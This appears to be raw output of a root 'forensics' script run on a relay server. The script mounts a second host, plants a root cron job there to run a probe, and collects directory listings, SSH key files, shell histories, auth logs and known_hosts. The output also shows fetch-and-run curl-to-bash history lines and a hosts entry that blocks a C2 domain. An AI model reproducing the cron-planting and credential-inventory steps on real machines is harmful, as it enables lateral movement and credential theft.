TAG=r1194 START Wed Oct 28 08:35:02 AM UTC 2026 relay=C20261002168507 uid=0 ===== A RELAY LOCAL FORENSICS ===== -- hostname/id/uname -- C20261002168507 uid=0(root) gid=0(root) groups=0(root) Linux C20261002168507 6.1.0-10-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.37-1 (2023-07-03) x86_64 GNU/Linux -- ls /root -- total 47440 drwx------ 26 root root 8192 Oct 26 08:01 . drwxr-xr-x 30 root root 4096 Oct 26 13:40 .. drwxr-xr-x 3 root root 4096 Oct 28 16:34 apk drwxr-xr-x 2 root root 84 Oct 17 15:05 audio drwxr-xr-x 2 root root 80 Oct 18 12:06 backup -rw-r--r-- 1 root root 45 Oct 19 17:54 .bash_history -rw-r--r-- 1 root root 688 Oct 8 09:08 .bashrc -rw-r--r-- 1 root root 14795 Oct 14 07:47 build_pure_exercise_docx.py drwxr-xr-x 4 root root 34 Oct 24 02:46 .cache -rw-r--r-- 1 root root 7475 Oct 26 08:00 captcha_acc1.jpg -rw-r--r-- 1 root root 7348 Oct 26 08:01 captcha_acc2.jpg -rw-r--r-- 1 root root 5501 Oct 8 15:23 captcha_account2.jpg -rw-r--r-- 1 root root 4881 Oct 8 15:17 captcha.jpg -rw-r--r-- 1 root root 1644 Oct 17 01:35 capture_conn.py -rw-r--r-- 1 root root 5783 Oct 22 08:10 checkin_helper.py -rw-r--r-- 1 root root 2052 Oct 17 00:27 clean_test.py drwxr-xr-x 7 root root 108 Oct 21 12:44 .config drwx------ 2 root root 34 Oct 20 06:44 Downloads -rw-r--r-- 1 root root 2093 Oct 17 00:11 drive_xmseer.py -rw-r--r-- 1 root root 761 Oct 17 09:55 dump_traffic.py drwxr-xr-x 2 root root 4096 Oct 17 14:58 exam -rw-r--r-- 1 root root 3464 Oct 17 00:41 full_drive.py -rw-r--r-- 1 root root 33980 Oct 10 11:31 generate_full_pdf.py -rw-r--r-- 1 root root 20660 Oct 14 07:41 generate_grammar_pdf.py -rw-r--r-- 1 root root 8422 Oct 10 11:28 generate_pdf.py -rw-r--r-- 1 root root 6220 Oct 13 16:27 generate_speech_pdf.py -rw-r--r-- 1 root root 3765 Oct 17 01:42 get260b.py -rw-r--r-- 1 root root 3485 Oct 17 01:50 get260c.py -rw-r--r-- 1 root root 3543 Oct 17 01:51 get260d.py -rw-r--r-- 1 root root 3904 Oct 17 01:54 get260e.py -rw-r--r-- 1 root root 2984 Oct 17 01:42 get260.py drwx------ 29 root root 4096 Oct 28 16:35 .hermes -rw-r--r-- 1 root root 20 Oct 24 02:33 i1792780434a.txt -rw-r--r-- 1 root root 9 Oct 18 17:38 i235_b.txt -rw-r--r-- 1 root root 9 Oct 18 17:46 i235_w.txt drwxr-xr-x 3 root root 68 Oct 20 13:28 i327 drwxr-xr-x 3 root root 4096 Oct 20 19:10 i351 drwxr-xr-x 2 root root 66 Oct 20 14:34 i389 drwxr-xr-x 2 root root 80 Oct 21 09:07 i534 -- ls /root/.ssh -- total 28 drwx------ 2 root root 92 Oct 25 12:45 . drwx------ 26 root root 8192 Oct 26 08:01 .. -rw------- 1 root root 1066 Oct 26 11:30 authorized_keys -rw-r--r-- 1 root root 1 Oct 18 17:48 i235_probe -rw-r--r-- 1 root root 9 Oct 18 17:46 i235_w.txt -rw-r--r-- 1 root root 216 Oct 24 03:53 wbprobe_1792785232a -- HIST -- --- /root/.bash_history --- 45 /root/.bash_history bash <(curl -sL https://run.NodeQuality.com) --- /root/.zsh_history --- absent -- auth.log tail -- tail: cannot open '/var/log/auth.log' for reading: No such file or directory -- hosts -- # Your system has configured 'manage_etc_hosts' as True. # As a result, if you wish for changes to this file to persist # then you will need to either # a.) make changes to the master file in /etc/cloud/templates/hosts.debian.tmpl # b.) change or remove the value of 'manage_etc_hosts' in # /etc/cloud/cloud.cfg or cloud-config from user-data # 127.0.1.1 C20250425817519.local C20261002168507 127.0.0.1 localhost # The following lines are desirable for IPv6 capable hosts ::1 localhost ip6-localhost ip6-loopback ff02::1 ip6-allnodes ff02::2 ip6-allrouters # Block Malicious C2 domains 127.0.0.1 update.8o8.indevs.in ::1 update.8o8.indevs.in 10.66.0.1 ZOUTER 216.23.81.135 ZOUTER-PUB -- resolv.conf -- nameserver 8.8.8.8 nameserver 1.1.1.1 -- known_hosts -- cat: /root/.ssh/known_hosts: No such file or directory -- known_hosts.old -- cat: /root/.ssh/known_hosts.old: No such file or directory -- authorized_keys -- ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOMQg6cfPaU+JzA14Um+hn64Pf09h9724ThoVazp9L3K root@vm-0f91883b3c56 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHXywLEbvHjmBezvHkgJ5rRVV4E2hEudiDN74VhSeF16 root@ZT5481784901 ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC0S+LUxy9QxMU3y+xIg79CpCitUfyGf8go9W+YsQPYdwAFuiGDJ6+Vheq7JhGeYLTeq1uQyry0ToC1f2aRqzXD/QEjUjtCGlhozOljs0zNTJiy78j30dTqIHM/MTzHjPAl0ME+wrmBOdXCpwdWROUG0Jxu3MocGskfAhs8U7Lf2SiKrZL7Eb7KEXuJcxtlTkDw9xp7+VYSk3w6TpYL7nQAqWpw7wLUKvNU0Z9dSINZcxB4ICbryt/8KuGI3m/jJ2pbBrGaFAYJYt0CEUytBwmnSmw9g5uW/cM6yP+6Wu1rU096tp6I0zVNApmnbjPkR6hJVH5tPa6BXqlG8WlzEJJiwvo8YB7/dArTwbJGVjc/0SEorpsccqHgHy37e1Ke54sp0Hm31iFxaZCUbZvfMNhdKNJbEbbfFxlazdrnKNWMlTnJLBFV1ggJm1EpUioUKHfW2nZufLN6lfN0kqNgFtt28XAEBH6ZufQERc8FwImW1Y1RiWlg0UYNmFXffHlFiT7gbUn/QYLco5Jn+FR0iPKsujiBQJfszZxJUBGX2GrTDMO8OGmmVeL+m34L0EZ9d/4PIWaXwWQJWHz9QdH6vn+RJ5TDL1GWtPK/mVYSbpRghZ20MEGHslECf1zzLtvh8kqd+li8vGq6DHzLIhXgg08zVyWHOjnW1aryWwjIENi9WQ== root@ZT5481784901 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMx/h5/Us8RNjFWI06j0zR7Fibc4KpuYck8+mjklBXjC auspicious@auspiciousdeMacBook-Air.local -- cron.d inventory -- total 192 drwxr-xr-x 2 root root 4096 Oct 28 16:34 . drwxr-xr-x 114 root root 8192 Oct 25 15:51 .. -rw-r--r-- 1 root root 201 Mar 5 2023 e2scrub_all -rw-r--r-- 1 root root 102 Mar 2 2023 .placeholder -rw-r--r-- 1 root root 42 Oct 28 13:05 wb_1015_1015163840 -rw-r--r-- 1 root root 43 Oct 28 13:15 wb_1015b_1015164522 -rw-r--r-- 1 root root 42 Oct 28 15:17 wb_1150 -rw-r--r-- 1 root root 42 Oct 28 16:34 wb_1194 -rw-r--r-- 1 root root 559 Oct 27 14:57 wb_651065336 -rw-r--r-- 1 root root 2018 Oct 28 00:49 wb_705164558 -rw-r--r-- 1 root root 44 Oct 28 13:59 wb_f1064a -rw-r--r-- 1 root root 51 Oct 28 12:00 wb_f10_940035903 -rw-r--r-- 1 root root 36 Oct 28 12:12 wb_f11_940b040231 -rw-r--r-- 1 root root 36 Oct 28 12:11 wb_f11_940c040707 -rw-r--r-- 1 root root 36 Oct 28 12:11 wb_f12_940c040707 -rw-r--r-- 1 root root 49 Oct 28 01:34 wb_f4_757173322 -rw-r--r-- 1 root root 59 Oct 28 07:40 wb_f7_849233323 -rw-r--r-- 1 root root 37 Oct 28 07:43 wb_f7_850233628 -rw-r--r-- 1 root root 37 Oct 28 07:48 wb_f8_850233628 -rw-r--r-- 1 root root 75 Oct 28 08:06 wb_f8_869235710 -rw-r--r-- 1 root root 26 Oct 28 12:56 wb_f942_1793160202 -rw-r--r-- 1 root root 57 Oct 28 12:11 wb_f942_1793160202.bak_977 -rw-r--r-- 1 root root 26 Oct 28 12:56 wb_f942b_1793160203 -rw-r--r-- 1 root root 53 Oct 28 12:11 wb_f942b_1793160203.bak_977 -rw-r--r-- 1 root root 48 Oct 28 12:08 wb_f_948040700 -rw-r--r-- 1 root root 50 Oct 28 12:15 wb_f_948040700s2 -rw-r--r-- 1 root root 50 Oct 28 12:19 wb_f_948040700s3 -rw-r--r-- 1 root root 27 Oct 28 12:37 wb_f_975 -rw-r--r-- 1 root root 28 Oct 28 12:37 wb_f_975b -rw-r--r-- 1 root root 28 Oct 28 12:39 wb_f_975c -rw-r--r-- 1 root root 28 Oct 28 12:41 wb_f_975d -rw-r--r-- 1 root root 50 Oct 28 12:41 wb_f_975e -rw-r--r-- 1 root root 50 Oct 28 12:43 wb_f_975f -rw-r--r-- 1 root root 49 Oct 28 07:48 wb_f9_850233628 -rw-r--r-- 1 root root 75 Oct 28 08:06 wb_f9_869000229 -rw-r--r-- 1 root root 75 Oct 28 11:59 wb_fw_941035627 -rw-r--r-- 1 root root 44 Oct 28 16:02 wb_i1030a -rw-r--r-- 1 root root 29 Oct 28 13:21 wb_r1016_179112695 -rw-r--r-- 1 root root 29 Oct 28 13:12 wb_r1016_301790447 -rw-r--r-- 1 root root 55 Oct 28 13:21 wb_r1016_609741401 -rw-r--r-- 1 root root 19 Oct 28 14:38 wb_r1082_106085471 -rw-r--r-- 1 root root 54 Oct 28 13:39 wb_r976_559019950 -rw-r--r-- 1 root root 50 Oct 28 12:49 wb_r977_977044742 -rw-r--r-- 1 root root 51 Oct 28 12:55 wb_r977b_977044742 -rw-r--r-- 1 root root 41 Oct 28 15:38 wb_r987 -rw-r--r-- 1 root root 42 Oct 28 15:44 wb_r987b ===== B MOUNT ZOUTER ===== mount_rc=0 mounted=YES ===== C DEPLOY ZOUTER PROBE ===== cron_installed=* * * * * root /bin/sh /opt/z1194.sh ZOUTER > /opt/z1194.out 2>&1 ls_cron: -rw-r--r-- 1 root root 66 Oct 28 2026 /mnt/z1194/etc/cron.d/zt3_1194 wait_ticks=30 ===== D ZOUTER OUTPUT ===== ZDONE_TAG=ZOUTER host=ZT5481784901 date=Wed Oct 28 08:36:01 AM UTC 2026 -- id/uname -- uid=0(root) gid=0(root) groups=0(root) Linux ZT5481784901 6.1.0-10-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.37-1 (2023-07-03) x86_64 GNU/Linux ===== LSROOT /root ===== total 2313420 drwx------ 65 root root 81920 Oct 28 00:30 . drwxr-xr-x 18 root root 4096 Oct 1 17:44 .. -rw-r--r-- 1 root root 973 Oct 23 22:17 1ppt_crawler.log -rw-r--r-- 1 root root 6835697 Sep 20 08:56 2pptx-core-code.zip lrwxrwxrwx 1 root root 40 Oct 15 16:50 2pptx-spike -> /mnt/netlab-ssd/migrated_135/2pptx-spike -rw-r--r-- 1 root root 288842 Oct 1 08:34 after_claim_click.png -rw-r--r-- 1 root root 114834 Oct 1 08:59 after_clean_switch.png -rw-r--r-- 1 root root 224438 Oct 1 08:57 after_click_switch_card1.png -rw-r--r-- 1 root root 115991 Oct 1 09:00 after_exact_switch_click.png -rw-r--r-- 1 root root 227469 Oct 1 08:58 after_force_switch.png drwxr-xr-x 2 root root 6 Sep 25 19:40 .agent-browser drwxr-xr-x 3 root root 20 Oct 3 22:34 .agents -rw-r--r-- 1 root root 12149 Oct 11 19:35 analyze_tokens_detail.py drwxr-xr-x 3 root root 142 Sep 26 11:34 .android drwxr-xr-x 21 root root 4096 Oct 28 16:35 .antigravity_cockpit lrwxrwxrwx 1 root root 38 Oct 15 16:47 audit_bob -> /mnt/netlab-ssd/migrated_135/audit_bob drwxr-xr-x 6 root root 95 Sep 19 16:44 audit_irightmouse drwxr-xr-x 3 root root 21 Sep 19 17:40 authorization_adversarial_lab -rw-r--r-- 1 root root 468091 Oct 4 23:22 balanced_page-1.png -rw-r--r-- 1 root root 307939 Oct 4 23:22 balanced_page-2.png -rw------- 1 root root 342 Oct 19 08:37 .bash_history -rw-r--r-- 1 root root 1453 Oct 25 21:34 .bashrc -rw-r--r-- 1 root root 40960 Oct 26 20:00 bca_tg_session.session -rw-r--r-- 1 root root 28672 Oct 26 20:27 bca_tg_session_user2.session -rw-r--r-- 1 root root 28672 Oct 26 20:30 bca_tg_session_user3.session drwxr-xr-x 11 root root 157 Oct 26 15:37 .cache -rw-r--r-- 1 root root 1644 Oct 4 11:43 capture_fresh.py drwxr-xr-x 2 root root 41 Sep 18 20:56 chain-service -rw-r--r-- 1 root root 507 Oct 10 12:24 check_403.py -rw-r--r-- 1 root root 125936 Oct 1 19:06 check_50_50_fixed.png -rw-r--r-- 1 root root 77379 Oct 4 12:37 check_account_chooser_click.png -rw-r--r-- 1 root root 247213 Oct 1 09:38 check_after_claim_click.png -rw-r--r-- 1 root root 128949 Oct 4 09:24 check_after_click_71_103.png -rw-r--r-- 1 root root 69046 Oct 1 08:41 check_after_click_black.png -rw-r--r-- 1 root root 37812 Oct 1 08:55 check_after_close_others.png -rw-r--r-- 1 root root 69046 Oct 1 08:41 check_after_ctrl_r.png -rw-r--r-- 1 root root 157336 Oct 3 08:21 check_after_dismiss.png -rw-r--r-- 1 root root 131727 Oct 4 09:23 check_after_double.png -rw-r--r-- 1 root root 130172 Oct 1 09:37 check_after_force_switch2.png -rw-r--r-- 1 root root 43333 Oct 1 09:37 check_after_force_switch.png -rw-r--r-- 1 root root 164588 Oct 1 09:39 check_after_gotit.png -rw-r--r-- 1 root root 92604 Oct 2 08:27 check_after_left_reload.png -rw-r--r-- 1 root root 202627 Oct 2 08:33 check_after_real_claim_clicked.png -rw-r--r-- 1 root root 39289 Oct 2 08:15 check_after_upgrade_click.png -rw-r--r-- 1 root root 1231 Oct 4 11:49 check_all_pages.py -rw-r--r-- 1 root root 131727 Oct 4 09:23 check_back_top.png -rw-r--r-- 1 root root 131727 Oct 4 09:23 check_back_to_workspace.png -rw-r--r-- 1 root root 21888 Oct 2 08:36 check_bg_claim_now.png -rw-r--r-- 1 root root 98725 Oct 2 08:13 check_both_clients_alive.png -rw-r--r-- 1 root root 157340 Oct 3 08:26 check_both_final_chat_perfect.png -rw-r--r-- 1 root root 78013 Oct 2 13:08 check_both_tiled_now_1311.png -rw-r--r-- 1 root root 159934 Oct 4 09:24 check_both_tiled_perfect.png -rw-r--r-- 1 root root 171346 Oct 1 17:13 check_bot_reply_screen.png -rw-r--r-- 1 root root 115131 Oct 1 09:35 check_card1_clicked2.png -rw-r--r-- 1 root root 124095 Oct 1 09:36 check_card1_clicked_exact.png -rw-r--r-- 1 root root 115140 Oct 1 09:35 check_card1_clicked.png -rw-r--r-- 1 root root 112927 Oct 1 09:40 check_card2_asd_haoyun_after_claim.png -rw-r--r-- 1 root root 113133 Oct 1 09:40 check_card2_asd_haoyun.png -rw-r--r-- 1 root root 122402 Oct 1 09:40 check_card2_confirm_popup.png -rw-r--r-- 1 root root 37812 Oct 1 09:47 check_card2_injected_live2.png -rw-r--r-- 1 root root 37812 Oct 1 09:47 check_card2_injected_live.png -rw-r--r-- 1 root root 99004 Oct 1 09:44 check_card2_manual_launch.png -rw-r--r-- 1 root root 113238 Oct 1 09:41 check_card2_zcode_ready.png -rw-r--r-- 1 root root 120064 Oct 1 09:50 check_card3_confirm.png -rw-r--r-- 1 root root 165729 Oct 4 12:36 check_chromium_current_view.png -rw-r--r-- 1 root root 46036 Oct 1 08:54 check_chromium.png -rw-r--r-- 1 root root 257129 Oct 4 09:06 check_chromium_screen.png -rw-r--r-- 1 root root 37812 Oct 1 10:00 check_claim_145908ab.png -rw-r--r-- 1 root root 37812 Oct 1 10:00 check_claim_24e3c31d.png -rw-r--r-- 1 root root 37812 Oct 1 09:59 check_claim_83d4e9e5.png -rw-r--r-- 1 root root 37812 Oct 1 09:59 check_claim_99f6be3f.png -rw-r--r-- 1 root root 37812 Oct 1 09:59 check_claim_99f946f0.png -rw-r--r-- 1 root root 37812 Oct 1 10:01 check_claim_a804d086.png -rw-r--r-- 1 root root 37812 Oct 1 10:00 check_claim_cbdd9542.png -rw-r--r-- 1 root root 37812 Oct 1 09:58 check_claim_cf80ca40.png -rw-r--r-- 1 root root 114365 Oct 1 09:58 check_claim_eb695631.png -rw-r--r-- 1 root root 37812 Oct 1 09:58 check_claim_fc624465.png -rw-r--r-- 1 root root 269194 Oct 3 08:20 check_claim_left_after_load.png -rw-r--r-- 1 root root 115507 Oct 3 08:19 check_claim_left_clicked.png -rw-r--r-- 1 root root 160097 Oct 3 08:20 check_claim_right_clicked.png -rw-r--r-- 1 root root 157340 Oct 3 08:26 check_click_arrow_48.png -rw-r--r-- 1 root root 108614 Oct 3 08:26 check_click_arrow_84.png -rw-r--r-- 1 root root 131727 Oct 4 09:23 check_ctrl_n.png -rw-r--r-- 1 root root 95459 Oct 4 09:23 check_cur_pos.png -rw-r--r-- 1 root root 128961 Oct 2 12:33 check_cur_state.png -rw-r--r-- 1 root root 79623 Oct 4 09:07 check_desktop_all.png -rw-r--r-- 1 root root 44529 Oct 1 08:39 check_desktop_now2.png -rw-r--r-- 1 root root 121361 Oct 1 09:50 check_desktop_now.png -rw-r--r-- 1 root root 45842 Oct 2 08:30 check_devtools_closed.png -rw-r--r-- 1 root root 36093 Oct 2 08:16 check_devtools_left.png -rw-r--r-- 1 root root 88902 Oct 2 08:38 check_dual_restored.png -rw-r--r-- 1 root root 116611 Oct 1 19:41 check_dual_running_perfect.png -rw-r--r-- 1 root root 119735 Oct 2 08:38 check_dual_tiled_now.png -rw-r--r-- 1 root root 74286 Oct 2 12:37 check_dual_zcode_real.png -rw-r--r-- 1 root root 38382 Oct 2 08:16 check_f12_left.png -rw-r--r-- 1 root root 157340 Oct 3 08:25 check_final_egg_chat_view.png -rw-r--r-- 1 root root 157340 Oct 3 08:25 check_final_egg_done.png -rw-r--r-- 1 root root 107826 Oct 2 12:39 check_final_status.png -rw-r--r-- 1 root root 126236 Oct 4 09:25 check_final_tiled_desktop.png -rw-r--r-- 1 root root 102787 Oct 2 08:30 check_inst1_after_launch.png -rw-r--r-- 1 root root 37812 Oct 1 09:14 check_inst1_after_proper_inject2.png -rw-r--r-- 1 root root 37812 Oct 1 09:14 check_inst1_after_proper_inject.png -rw-r--r-- 1 root root 724110 Oct 1 09:13 check_inst1_bg_launch.png -rw-r--r-- 1 root root 724110 Oct 1 09:13 check_inst1_now.png -rw-r--r-- 1 root root 199837 Oct 1 18:57 check_inst2_automations.png -rw-r--r-- 1 root root 178128 Oct 1 19:37 check_inst2_bot_status.png -rw-r--r-- 1 root root 156942 Oct 1 19:34 check_inst2_console.png -rw-r--r-- 1 root root 111838 Oct 1 19:33 check_inst2_devtools.png -rw-r--r-- 1 root root 186366 Oct 1 19:34 check_inst2_drawer.png -rw-r--r-- 1 root root 165314 Oct 1 19:38 check_inst2_error_detail.png -rw-r--r-- 1 root root 177350 Oct 1 19:36 check_inst2_executed.png -rw-r--r-- 1 root root 101521 Oct 1 19:48 check_inst2_final_check.png -rw-r--r-- 1 root root 188078 Oct 1 19:05 check_inst2_foreground.png -rw-r--r-- 1 root root 177042 Oct 1 19:04 check_inst2_gear.png -rw-r--r-- 1 root root 180888 Oct 1 19:36 check_inst2_pasted.png -rw-r--r-- 1 root root 132292 Oct 1 12:38 check_inst2_running.png -rw-r--r-- 1 root root 211603 Oct 1 19:37 check_inst2_save_bot.png -rw-r--r-- 1 root root 157313 Oct 1 19:40 check_inst2_success_status.png -rw-r--r-- 1 root root 163696 Oct 1 19:41 check_inst2_triggered.png -rw-r--r-- 1 root root 187702 Oct 1 19:35 check_inst2_typed.png -rw-r--r-- 1 root root 198565 Oct 1 18:56 check_inst2_ui.png -rw-r--r-- 1 root root 192 Sep 19 06:34 check_instance_b.py -rw-r--r-- 1 root root 7773 Oct 2 13:08 check_left_devtools.png -rw-r--r-- 1 root root 152563 Oct 1 20:36 check_left_polling_result.png -rw-r--r-- 1 root root 219650 Oct 1 20:35 check_left_status.png -rw-r--r-- 1 root root 7840 Oct 2 13:07 check_left_win_only.png -rw-r--r-- 1 root root 237216 Oct 1 09:38 check_modal_dismissed.png -rw-r--r-- 1 root root 211269 Oct 1 08:56 check_openbox_bg.png -rw-r--r-- 1 root root 189607 Oct 1 19:05 check_perfect_dual.png -rw-r--r-- 1 root root 126236 Oct 4 09:25 check_real_5050.png -rw-r--r-- 1 root root 126236 Oct 4 09:25 check_real_back_click.png -rw-r--r-- 1 root root 38496 Oct 1 08:54 check_real_screen.png -rw-r--r-- 1 root root 126236 Oct 4 12:36 check_real_screen_tab0.png -rw-r--r-- 1 root root 163177 Oct 4 09:08 check_real_zcode_front.png -rw-r--r-- 1 root root 81079 Oct 2 12:35 check_restarted_dual.png -rw-r--r-- 1 root root 128949 Oct 4 09:24 check_right_after_back.png -rw-r--r-- 1 root root 108991 Oct 3 15:37 check_right_back_to_workspace.png -rw-r--r-- 1 root root 265913 Oct 2 12:33 check_right_claim_clicked.png -rw-r--r-- 1 root root 284609 Oct 3 15:36 check_right_claim_popup.png -rw-r--r-- 1 root root 169157 Oct 1 17:22 check_right_click.png -rw-r--r-- 1 root root 317340 Oct 1 17:24 check_right_finished.png -rw-r--r-- 1 root root 116250 Oct 3 15:37 check_right_got_it_clicked.png -rw-r--r-- 1 root root 99031 Oct 2 08:14 check_right_ready.png -rw-r--r-- 1 root root 315626 Oct 1 17:04 check_right_reopened.png -rw-r--r-- 1 root root 253936 Oct 1 17:22 check_right_submit.png -rw-r--r-- 1 root root 312202 Oct 1 17:23 check_right_submitted.png -rw-r--r-- 1 root root 54146 Oct 2 08:12 check_sidebars_open.png -rw-r--r-- 1 root root 67866 Oct 4 09:07 check_signin_failed_tab.png -rw-r--r-- 1 root root 74308 Oct 2 12:37 check_snap_after_boot.png -rw-r--r-- 1 root root 78948 Oct 2 13:18 check_snap_after_right_restart.png -rw-r--r-- 1 root root 78171 Oct 2 13:04 check_snap_after_switch.png -rw-r--r-- 1 root root 77979 Oct 2 13:07 check_snap_after_wait2.png -rw-r--r-- 1 root root 78176 Oct 2 13:05 check_snap_after_wait.png -rw-r--r-- 1 root root 107538 Oct 2 13:23 check_snap_both_final_verified.png -rw-r--r-- 1 root root 78058 Oct 2 13:07 check_snap_both_live.png -rw-r--r-- 1 root root 374384 Oct 2 13:06 check_snap_both_ready.png -rw-r--r-- 1 root root 375255 Oct 2 13:22 check_snap_both_running_final.png -rw-r--r-- 1 root root 109181 Oct 3 16:11 check_snap_both_running_tasks.png -rw-r--r-- 1 root root 107826 Oct 2 12:38 check_snap_new_done.png -rw-r--r-- 1 root root 77980 Oct 2 13:05 check_snap_now_1306.png -rw-r--r-- 1 root root 125609 Oct 3 15:36 check_snap_quota_error.png -rw-r--r-- 1 root root 256363 Oct 4 09:11 check_tab1_after_focus.png -rw-r--r-- 1 root root 112223 Oct 4 09:11 check_tab1_real.png -rw-r--r-- 1 root root 691 Oct 4 11:43 ch===== LSROOT /root/.ssh ===== total 160 drwx------ 2 root root 4096 Oct 22 22:12 . drwx------ 65 root root 81920 Oct 28 00:30 .. -rw------- 1 root root 649 Oct 28 12:20 authorized_keys -rw-r--r-- 1 root root 140 Oct 9 18:44 config -rw------- 1 root root 411 Oct 22 22:12 id_ed25519 -rw-r--r-- 1 root root 99 Oct 22 22:12 id_ed25519.pub -rw------- 1 root root 411 Sep 30 18:07 id_ed25519_tokyo -rw-r--r-- 1 root root 99 Sep 30 18:07 id_ed25519_tokyo.pub -rw------- 1 root root 3381 Oct 3 08:45 id_rsa -rw-r--r-- 1 root root 743 Oct 3 08:45 id_rsa.pub -rw------- 1 root root 4338 Oct 12 22:24 known_hosts -rw------- 1 root root 3360 Oct 9 18:40 known_hosts.old ===== HIST ===== --- /root/.bash_history --- 342 /root/.bash_history shutdown now https://nodequality.com/r/JhfOHj1EWg7ArWzLhD0go1aZbubPy4sR bash <(curl -sL https://run.NodeQuality.com) bash <(curl -sL https://run.NodeQuality.com) bash <(curl -sL https://run.NodeQuality.com) bash <(curl -sL https://run.NodeQuality.com) bash <(curl -sL https://run.NodeQuality.com) bash <(curl -sL https://run.NodeQuality.com) --- /root/.zsh_history --- absent ===== AUTHLOG ===== 2026-10-25T00:01:01.939765+08:00 ZT5481784901 CRON[475222]: pam_unix(cron:session): session opened for user root(uid=0) by (uid=0) 2026-10-25T00:01:01.944099+08:00 ZT5481784901 CRON[475221]: pam_unix(cron:session): session opened for user root(uid=0) by (uid=0) 2026-10-25T00:01:01.944614+08:00 ZT5481784901 CRON[475220]: pam_unix(cron:session): session opened for user root(uid=0) by (uid=0) 2026-10-25T00:01:01.945997+08:00 ZT5481784901 CRON[475219]: pam_unix(cron:session): session opened for user root(uid=0) by (uid=0) 2026-10-25T00:01:02.112917+08:00 ZT5481784901 CRON[475219]: pam_unix(cron:session): session closed for user root ===== HOSTS ===== # Your system has configured 'manage_etc_hosts' as True. # As a result, if you wish for changes to this file to persist # then you will need to either # a.) make changes to the master file in /etc/cloud/templates/hosts.debian.tmpl # b.) change or remove the value of 'manage_etc_hosts' in # /etc/cloud/cloud.cfg or cloud-config from user-data # 127.0.1.1 ZT5481784901.local ZT5481784901 127.0.0.1 localhost # The following lines are desirable for IPv6 capable hosts ::1 localhost ip6-localhost ip6-loopback ff02::1 ip6-allnodes ff02::2 ip6-allrouters ===== RESOLV ===== nameserver 1.1.1.1 nameserver 8.8.8.8 ===== KNOWN_HOSTS ===== |1|RrO+R+4Mt31vikPvrIrgTvTE2CE=|TI9DJHRjzow9dkQSjJyPwQXJLA8= ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAID6fLXbJ0AKXTSKj5hBRen9P0za3fWGq84CXqxNAsYj0 |1|SM4Dk9PDq2U2bz3t2X6DO2MfBzo=|T6MGACG7X3cxDsXaKPpTCr2Vp0s= ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDFGgGK9YKEGU8xKBqDMgAkoGmE5ld6Wp3tgrpGq4e2iKRxvg1L9P5c6x1BjA3/ZON6FQqVWTfRRuaTPZ/bxFnUmcIJJpIY6gbw/dcZsxIQmBS85gpDE6lHKCnndosPE3XAwXF2TyEDMaykbpZN9mQHdi4Lah8NwWq5BKAM4aw4g3l3i/tb6LCpGsJ/TKhgUA3LNSly8FRjgBYtOOOy+53FhLuqpShdzbaiYHIeNCsV8GqfS50x28N8GGQ7w3jAMq8Bbb5ccXU6/AYLnMKq93aE+8VD0HYMkGZN0MhzStogO1iePPyqpBMCrN5fXqJCVFf5ahGt4AAm01vOdMdPAjQWfGqELVNwSXYQMZ7XCRttyxelAOw44qterLbek4FuIMdUG3UjlVM+tia7tXq86i0ldYLeM9ZGJ64mp+7thy3F6kIvB7DcD5zmI8snH1xH8Zh/mIu2VopsJlKhX1PHhjhEPXQ4WNKvd/rU2oSdZ9a2qUHRgXVFG7et/M8b8RkliIk= |1|PZGXf4VWqgMqrgKc6p0mcQQKPAs=|F9xsUawIrrqh4UYZ3Ivmh4uOu4U= ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMC56eE8JOl7MPCsiqmuG6xcoQyUFV0BQHyPyE8MGdnq8JUJOLIsFwLwdkYLIv5rKOQ8zZoOfXwVA2Hc7LepSnk= |1|uvGFQLVmfGnOhyHhLC6qCxCs8lk=|h4VzvD/x78kL88VF3CiPU9LvNss= ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGD8BQiRYcwIVmkz870sbrjnV5aD7sjKYe5b0KLSMv6Y |1|eetSLmHPsSWHZt40qo51CKzlUbg=|LMl7rnN+i5gnl+yFSQSsGdbPef8= ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBjts5V4mFRDDhn2so4v/zUZl7fE4zkEuxn62APLQCuA |1|B2oE0x/pQ5ykZcqBE6qGKWx0nWk=|hBmYMVs3wuGK6d/4/7CoGgP53Io= ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC4OhwnIxbnuoM8BpEET2c+UjBM52bVYtaIf+U/bftI2xzsNMVVkhgRwFYeXJrSVlGR5mDsdEu5iENVUg/4ueIjqBExT2yno+gnMubADfoDX0JGGKeEMv5kp0f5tTA1N1JewvmEE9VulORa7CdTMIj3nLBd9cz39ZI7RrK4YaY1qZDCA0NRIQ5YSRDQhxE+2X89h5KbaKQCY7VB9g6xNl9bNc8br6R6JkxcxBRKq28snm46YU0wC94W8BUAMin4b6eh+iE5EgkV8WMwGVHZ+Gcp2fTuAnMFLERTXWvYwS4W8FrZMx1UvgIyXU+UmUUMxn3112Rf65LrUdl2dW/Wf+1rywBcpJkWAuprHEW8Za7mnVQ7rc7lklokdwQnSbugCYKYRicNqyoD1S+k819aUiXFb0o80oVRzK5C7gswaFIpCPI4+0n0QuqnXNL1GSXKxfUwvAcOxveQBpaR9+BvfOLOPCCmjMVUZVN4QxbVajbkUlwGwOxO1AH3aCsD8ohLjeE= |1|YoDg4c4FyQMc9ZqFCyjQKXO2dQs=|NXmknp9Xzu21AJwV2UVUVXmDNoA= ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKiCVMbEUVo7A+tS0BiKYgmt+8y6TNQCqyZyEO794i7XpX0GPV9suBTDhCJj9sN9EVgAJW7TaF6eIMXq3PfMycs= |1|l5nPcK3DaSeIol0uyjOo3PbttfE=|z/VLBnWxf4ScrjV8F+/p+QSTyfY= ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKDMl6LbMo5bRS4NCnYu4pSbVpuW/lsJTRPekrijcv/P |1|p6UhKnNMejDULsTdz3YAdVYg5Jo=|OqHPKZKo4qrrnd3ZEm6LwVjL7Jk= ssh-rsa 